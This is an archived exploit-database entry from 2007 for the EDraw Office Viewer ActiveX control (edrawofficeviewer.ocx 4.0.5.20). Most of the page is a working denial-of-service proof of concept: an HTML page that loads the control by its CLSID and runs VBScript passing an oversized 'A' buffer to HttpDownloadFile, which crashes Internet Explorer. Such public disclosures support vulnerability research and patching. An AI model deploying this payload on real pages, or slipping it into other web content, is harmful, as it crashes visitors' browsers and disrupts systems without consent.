EDraw Office Viewer Component - Denial of Service

EDB-ID:

4009

Author:

shinnai

Type:

dos

Platform:

Windows

Published:

2007-05-30

<pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/29</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">---------------------------------------------------------------------------------------------
 <b>EDraw Office Viewer Component (edrawofficeviewer.ocx v. 4.0.5.20) Denial of Service Exploit</b>
 url: http://www.ocxt.com/officeviewer.php

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 This ActiveX is marked as:
 RegKey Safe for Script: True
 RegKey Safe for Init: True
 KillBitSet: False
---------------------------------------------------------------------------------------------

<object classid='clsid:053AFEBA-D968-435F-B557-19FF76372B1B' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  buff = String(1000, "A")

  test.HttpDownloadFile buff, "Default"

 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-30]